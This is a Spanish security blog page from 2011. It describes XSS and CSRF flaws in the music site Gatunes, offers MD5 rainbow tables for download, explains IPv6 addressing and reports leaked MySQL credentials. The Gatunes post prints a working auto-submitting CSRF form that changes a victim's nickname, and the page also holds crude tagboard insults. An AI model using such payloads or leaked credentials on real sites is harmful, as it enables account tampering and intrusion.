Tagboard

JKSS: quiero un hijo tuyo :$ ajaj

doom: by DooM

kr0no: JKSS, estudia, que estás en clase para algo joder xDD

JKSS: we pinche jaja

kr0no: puta.

kr0no: Wo, pinche wey chamaquito, te voy a romper el orto picha

Vibese: AI LA CONCHA DE TU PELOTUDA MADRE CHINGOOOOON!!

kr0no: locazaa

lolasd: loc00 :)

kr0no: Yeha 0verflow!

Para dejar un mensaje debes iniciar Iniciar sesión o registrarte.

Historico

About:

Este es mi pequeño rincón [uno de tantos] dedicado a la seguridad informática. Ahora tengo como preferencia escribir en el blog de ka0labs.org, así que este blog no estará actualizado diaria, ni tal vez, semanalmente. Si quieres leer más a menudo pásate por ka0labs.

Bytes };)

http://sad.comasd

Blogroll: 13

[x] Agregar a kr0no

jkss jkss
vibese vibese
sh4v sh4v
0verflow 0verflow
3mp3zando 3mp3zando
silicongold silicongold
laurag laurag
mantic mantic
elefren elefren
xianur0 xianur0
painboy painboy

... Ver todos

Perfil de kr0no

[x]Nick: kr0no
Rango: Veteran
País: np
Visitas: 50466
Votos: 124
En Blogrolls: 36
Status: PM

Patrocinadores:


Anuncia aquí

[x] Gatunes, desastre en seguridad

Publicado el 27/04/2011 12:04:00 en Bug Report. Total de votos: 4  Votar

Bueno, a día de hoy la mayoría conoceréis Gatunes, esa web tipo Spotify, para escuchar música, compartir listas de reproducción… Vamos, lo que viene siendo una red social de música. La idea, en principio, es muy sencilla: Obtiene la música desde los vídeos de YouTube. Podemos obtener más información acerca de Gatunes aquí.

Pasemos a lo que nos interesa…

Gatunes tiene infinidad de vulnerabilidades Cross-site scripting (XSS), en el nick, en los comentarios, en la búsqueda de música… La web es, prácticamente, un desastre en este sentido.



Algunos de estos XSS son persistentes, por lo que los podemos utilizar para obtener cookies, sacar un simple alert… Pero también podemos utilizarlos para realizar un ataque Cross-site request forgery (XSRF o CSRF). Un ejemplo, para simplemente cambiar el nick de la víctima, sería la siguiente (gracias a JKS por el código):

<!-- C0ded by JKS :$ TQ kr0no jaja-->
<body onload="document.forms[0].submit()">
<form action="http://gatunes.com/" method="post">
<input name="f" type="hidden" value="save_settings_personal" />
<input name="fullname" type="hidden" value="ka0labs XSRF" />
<input name="nick" type="hidden" value="ka0labs XSRF" />
</form>


Cuando la víctima entrara, este código le cambiaría su nick por “ka0labs XSRF”.

Obviamente, no solo se puede cambiar el nick, se pueden hacer muchísimas cosas, y los límites están prácticamente en la imaginación del atacante.

Para acabar, decir que los bugs han sido notificados, y algunos, arreglados (aunque no nos han dicho ni un "Gracias"), pero aún tienen muchísimos más fallos de este mismo tipo.

Podría extender mucho más la entrada explicando mejor cada cosa, pero tengo prisa, así que así se queda ;)

Ah, y gracias a JKS por ayudarme en algunos ejemplos prácticos.

Comentarios: 6 | Leer comentarios

[x] Rainbow Tables

Publicado el 14/04/2011 12:04:00 en Hacking Tools. Total de votos: 3  Votar

Supongo que no hace falta explicar lo que son las Rainbow Tables ;)

Pues nada, aquí dejo algunas para descargar (de MD5):

MD5 rainbow tables (1105 GB):
* md5_hybrid(loweralpha#6-6,numeric#1-3)#0-0_10000: 3GB
* md5_mixalpha-numeric-all-space#1-6_10000: 5GB
* md5_numeric#1-12_10000: 11GB
* md5_loweralpha-numeric-space#1-8_10000: 24GB
* md5_alpha-numeric-space#1-8_10000: 24GB
* md5_mixalpha-numeric-space#1-7_10000: 26GB
* md5_hybrid(loweralpha#7-7,numeric#1-3)#0-0_13000: 46GB
* md5_loweralpha-numeric-symbol32-space#1-7_10000: 49GB
* md5_alpha-space#1-9_10000: 51GB
* md5_loweralpha-space#1-9_10000: 52GB
* md5_mixalpha-numeric-all-space#1-7_40000: 142GB
* md5_loweralpha#1-10_40000: 297GB
* md5_mixalpha-numeric-space#1-8_60000: 380GB

PD: Todos los enlaces llevan a la misma web, desde ahí podeís descargar la RT que queraís, en torrent o DD

Comentarios: 4 | Leer comentarios

Limpieza!

Publicado el 04/04/2011 12:04:00 en Off Topic.

Pues eso, que he borrado todos los posts irrelevantes y lammeradas que tenía! Así como los reportes de SQLi y XSS de otras webs.

Bytes

Comentarios: 2 | Leer comentarios

[x] Redes IPv6

Publicado el 03/04/2011 12:04:00 en Redes. Total de votos: 7  Votar

La dificultad de conseguir direcciones públicas IPv4 ha hecho que los organismos internacionales de estándares se hayan propuesto renovar el protocolo IP para admitir un rango de direccionamiento mucho más extenso. IPv6 viene a corregir este problema además de muchos otros relacionados con las mejoras en el encaminamiento de paquetes.

Aquí vamos a ver cómo son los paquetes IPv6 y su sistema de direccionamiento, intentando establecer analogías con el ya conocido IPv4.

En IPv6 se definen tres tipos de direcciones, todas de 128 bits de longitud:

Unicast: son direcciones que se aplican a una única interfaz de red. Cuando un paquete es enviado a una dirección unicast, este se entrega al único interfaz de red que posee esa dirección. Las direcciones unicast son, por tanto, únicas en la red.

Anycast: es una dirección que identifica a un conjunto de interfaces, posiblemente a diferentes nodos. Un paquete enviado a una dirección anycast será entregado en una (y solo una) de las interfaces que comparten la dirección anycast. Las direcciones anycast permiten crear ámbitos de redundancia. Por ejemplo, si en la instalación disponemos de dos enrutadores IPv6, podemos configurarlos con una única dirección anycast que los englobe a ambos y dirigir las eticiones de los clientes a esta única dirección compartida: alguno de los dos enrutadores atenderá la petición del cliente. Si uno de los enrutadores pierde su funcionalidad, el otro enrutador escuchará y atenderá todas las peticiones.

Multicast: También es una dirección que identifica a un conjunto de intergaces, pero en este caso, cuando un paquete es enviado a una dirección multicast, el paquete será entregado en todas y cada una de las interfaces que posean esa dirección multicast y que estén operativas. Una dirección multicast es la apropiada para efectuar las retransmisiones de broadcasting.

Una interfaz debe tener al menos una dirección unicast única, pero además de esta dirección puede tener otras de tipo unicast, anycast o multicast.


Representación de direcciones IPv6

Una dirección IPv6 se puede escribir de modo genérico con una secuencia del tipo X:X:X:X:X:X:X:X donde X representa un valor hexadecimal de 16 bits, que típicamente se numera con cuatro dígitos hexadecimales. Por ejemplo, una dirección IPv6 válida sería:

FF01:0000:0000:0A00:12DF:0000:0144:0001



Cada elemento de cuatro dígitos hexadecimales o 16 dígitos binarios se puede resumir. Por ejemplo, la dirección anterior se puede abreviar en la forma:

FF01:0:0:A00:12DF:0:144:1



Cuando varios grupos d...

Continúa aquí...


Comentarios: 4 | Leer comentarios

[x] MySQL vulnerable a SQL Injection

Publicado el 27/03/2011 12:03:00 en Noticias. Total de votos: 6  Votar

Esta mañana Jackh4x0r ha decidido hacer pública una vulnerabilidad en las páginas de MySQL (.fr , .it , .de y .jp). Parece ser que había un parámetro vulnerable a Inyección SQL, que encontraron TinKode y Ne0h hace unos pocos meses (aquí el post, necesitas estar registrado).
También publicaron que era vulnerable a XSS.

Jackh4xor ha publicado información sobre los peces gordos de MySQL: emails, contraseñas (crackeadas las más importantes), usuarios…

Desde aqu&iacute; podemos acceder al documento en pastebin.com

Que mala imagen da esto a MySQL, ¿no?

Comentarios: 5 | Leer comentarios